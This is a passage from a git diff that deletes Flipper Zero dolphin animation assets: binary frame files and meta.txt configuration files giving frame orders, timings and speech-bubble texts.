b/assets/resources/dolphin/L1_Cry_128x64/frame_2.bm deleted file mode 100644 index a3c87e0a6..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_3.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_3.bm deleted file mode 100644 index ba3012b7e..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_4.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_4.bm deleted file mode 100644 index 1ce28c7ad..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_5.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_5.bm deleted file mode 100644 index 4cbc49689..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_6.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_6.bm deleted file mode 100644 index cba81ef35..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_7.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_7.bm deleted file mode 100644 index da28419fd..000000000 Binary files a/assets/resources/dolphin/L1_Cry_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Cry_128x64/meta.txt b/assets/resources/dolphin/L1_Cry_128x64/meta.txt deleted file mode 100644 index 43b4603d4..000000000 --- a/assets/resources/dolphin/L1_Cry_128x64/meta.txt +++ /dev/null @@ -1,41 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 4 -Frames order: 0 1 2 3 4 2 3 4 5 6 7 6 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 2 - -Slot: 0 -X: 22 -Y: 40 -Text: I miss you -AlignH: Right -AlignV: Bottom -StartFrame: 9 -EndFrame: 11 - -Slot: 0 -X: 17 -Y: 40 -Text: my friend... -AlignH: Right -AlignV: Bottom -StartFrame: 12 -EndFrame: 15 - -Slot: 1 -X: 2 -Y: 29 -Text: Why are you\nalways away? -AlignH: Right -AlignV: Bottom -StartFrame: 9 -EndFrame: 15 diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_0.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_0.bm deleted file mode 100644 index 8558f0f5b..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_1.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_1.bm deleted file mode 100644 index ac7a126ea..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_10.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_10.bm deleted file mode 100644 index c5312e5e5..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_11.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_11.bm deleted file mode 100644 index c91ed2fd2..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_12.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_12.bm deleted file mode 100644 index 392905a55..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_13.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_13.bm deleted file mode 100644 index aa5353e98..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_14.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_14.bm deleted file mode 100644 index 837c6c71d..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_15.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_15.bm deleted file mode 100644 index 4cb6e5332..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_16.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_16.bm deleted file mode 100644 index ce3ccdece..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_17.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_17.bm deleted file mode 100644 index 02af0bcf3..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_18.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_18.bm deleted file mode 100644 index 72620a7c9..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_2.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_2.bm deleted file mode 100644 index 94357802f..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_3.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_3.bm deleted file mode 100644 index b0d0e6914..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_4.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_4.bm deleted file mode 100644 index 3413e5072..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_5.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_5.bm deleted file mode 100644 index fd83dd1c6..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_6.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_6.bm deleted file mode 100644 index 8c946d184..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_7.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_7.bm deleted file mode 100644 index 8558f0f5b..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_8.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_8.bm deleted file mode 100644 index a57e4bac7..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_9.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_9.bm deleted file mode 100644 index 114b26391..000000000 Binary files a/assets/resources/dolphin/L1_Furippa1_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/meta.txt b/assets/resources/dolphin/L1_Furippa1_128x64/meta.txt deleted file mode 100644 index 8b01676f5..000000000 --- a/assets/resources/dolphin/L1_Furippa1_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 11 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_0.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_0.bm deleted file mode 100644 index a3731113d..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_1.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_1.bm deleted file mode 100644 index fc0658364..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_10.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_10.bm deleted file mode 100644 index 04984ed0d..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_11.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_11.bm deleted file mode 100644 index c46aac382..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_12.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_12.bm deleted file mode 100644 index d143a91ec..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_2.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_2.bm deleted file mode 100644 index c1b00421a..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_3.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_3.bm deleted file mode 100644 index 63f759d17..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_4.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_4.bm deleted file mode 100644 index 3f2aee1e5..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_5.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_5.bm deleted file mode 100644 index 2d7a83bdd..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_6.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_6.bm deleted file mode 100644 index 88e6814a1..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_7.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_7.bm deleted file mode 100644 index 32758660c..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_8.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_8.bm deleted file mode 100644 index c43447372..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_9.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_9.bm deleted file mode 100644 index 103fae14a..000000000 Binary files a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/meta.txt b/assets/resources/dolphin/L1_Happy_holidays_128x64/meta.txt deleted file mode 100644 index d99fe14b9..000000000 --- a/assets/resources/dolphin/L1_Happy_holidays_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 10 -Active frames: 18 -Frames order: 0 1 2 1 0 1 2 1 0 1 2 3 4 5 6 5 4 7 2 8 9 10 11 10 9 10 11 12 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 11 -Y: 19 -Text: HAPPY\nHOLIDAYS! -AlignH: Right -AlignV: Center -StartFrame: 22 -EndFrame: 27 diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_0.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_0.bm deleted file mode 100644 index 5eb2bdd05..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_1.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_1.bm deleted file mode 100644 index 210f0c918..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_2.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_2.bm deleted file mode 100644 index ff2851c28..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_3.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_3.bm deleted file mode 100644 index 360d405ab..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_4.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_4.bm deleted file mode 100644 index 9dd5111f8..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_5.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_5.bm deleted file mode 100644 index e56c3f1a8..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_6.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_6.bm deleted file mode 100644 index e9b0c0dff..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/frame_7.bm b/assets/resources/dolphin/L1_Laptop_128x51/frame_7.bm deleted file mode 100644 index 4663c6b03..000000000 Binary files a/assets/resources/dolphin/L1_Laptop_128x51/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Laptop_128x51/meta.txt b/assets/resources/dolphin/L1_Laptop_128x51/meta.txt deleted file mode 100644 index 0c3edb057..000000000 --- a/assets/resources/dolphin/L1_Laptop_128x51/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 51 -Passive frames: 6 -Active frames: 2 -Frames order: 0 1 2 3 4 5 6 7 -Active cycles: 4 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 60 -Y: 23 -Text: I have to rest -AlignH: Left -AlignV: Bottom -StartFrame: 7 -EndFrame: 10 - -Slot: 0 -X: 60 -Y: 23 -Text: but not today -AlignH: Left -AlignV: Bottom -StartFrame: 11 -EndFrame: 13 diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_0.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_0.bm deleted file mode 100644 index d4cf85bad..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_1.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_1.bm deleted file mode 100644 index f1f0e89f0..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_10.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_10.bm deleted file mode 100644 index b91030b12..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_11.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_11.bm deleted file mode 100644 index fe93787f2..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_12.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_12.bm deleted file mode 100644 index 13fb8e985..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_2.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_2.bm deleted file mode 100644 index 3050ba38f..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_3.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_3.bm deleted file mode 100644 index 0c0c83238..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_4.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_4.bm deleted file mode 100644 index 5e74ea12a..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_5.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_5.bm deleted file mode 100644 index 5c556cfdf..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_6.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_6.bm deleted file mode 100644 index 1dc156764..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_7.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_7.bm deleted file mode 100644 index e992d75c7..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_8.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_8.bm deleted file mode 100644 index 49266d7c2..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_9.bm b/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_9.bm deleted file mode 100644 index 6ebc55c16..000000000 Binary files a/assets/resources/dolphin/L1_Leaving_sad_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Leaving_sad_128x64/meta.txt b/assets/resources/dolphin/L1_Leaving_sad_128x64/meta.txt deleted file mode 100644 index fbf7c67fc..000000000 --- a/assets/resources/dolphin/L1_Leaving_sad_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 4 -Active frames: 42 -Frames order: 0 1 2 1 3 4 5 6 7 8 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 10 11 12 4 3 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 51 -Y: 49 -Text: Adios. -AlignH: Center -AlignV: Top -StartFrame: 6 -EndFrame: 9 - -Slot: 0 -X: 1 -Y: 49 -Text: Forgot something... -AlignH: Center -AlignV: Top -StartFrame: 42 -EndFrame: 45 diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_0.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_0.bm deleted file mode 100644 index d200bb2af..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_1.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_1.bm deleted file mode 100644 index 0ec761cbf..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_10.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_10.bm deleted file mode 100644 index d4207c95d..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_11.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_11.bm deleted file mode 100644 index 35955bc20..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_12.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_12.bm deleted file mode 100644 index 80adf8671..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_13.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_13.bm deleted file mode 100644 index 1994c0966..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_2.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_2.bm deleted file mode 100644 index d3f19290d..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_3.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_3.bm deleted file mode 100644 index 1fc2e2b26..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_4.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_4.bm deleted file mode 100644 index 6152a83f8..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_5.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_5.bm deleted file mode 100644 index 842600e6d..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_6.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_6.bm deleted file mode 100644 index 887a4b866..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_7.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_7.bm deleted file mode 100644 index 8e9a34e97..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_8.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_8.bm deleted file mode 100644 index a430e480a..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_9.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_9.bm deleted file mode 100644 index 487f50b35..000000000 Binary files a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt b/assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt deleted file mode 100644 index 56f380747..000000000 --- a/assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 7 -Active frames: 13 -Frames order: 0 1 0 1 2 3 4 5 6 7 8 9 10 11 12 13 12 13 12 13 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 67 -Y: 24 -Text: Am I a joke\nto you?!?! -AlignH: Left -AlignV: Center -StartFrame: 15 -EndFrame: 19 diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_0.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_0.bm deleted file mode 100644 index eb0435241..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_1.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_1.bm deleted file mode 100644 index 9988e18a0..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_10.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_10.bm deleted file mode 100644 index fdf7d1665..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_11.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_11.bm deleted file mode 100644 index 645703a17..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_12.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_12.bm deleted file mode 100644 index 7ee0db1f8..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_13.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_13.bm deleted file mode 100644 index 2055cd974..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_14.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_14.bm deleted file mode 100644 index f1d511ba6..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_15.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_15.bm deleted file mode 100644 index f108180b8..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_16.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_16.bm deleted file mode 100644 index 9ed1f5520..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_17.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_17.bm deleted file mode 100644 index 2b19f5f25..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_18.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_18.bm deleted file mode 100644 index 43c8c42a0..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_19.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_19.bm deleted file mode 100644 index 554d4cca8..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_2.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_2.bm deleted file mode 100644 index 19c045034..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_20.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_20.bm deleted file mode 100644 index 9af692ea6..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_21.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_21.bm deleted file mode 100644 index a3a91bc35..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_22.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_22.bm deleted file mode 100644 index 6699b7525..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_23.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_23.bm deleted file mode 100644 index 8dc4812d4..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_24.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_24.bm deleted file mode 100644 index 3ef5e556e..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_24.bm and /dev/null differ diff --git 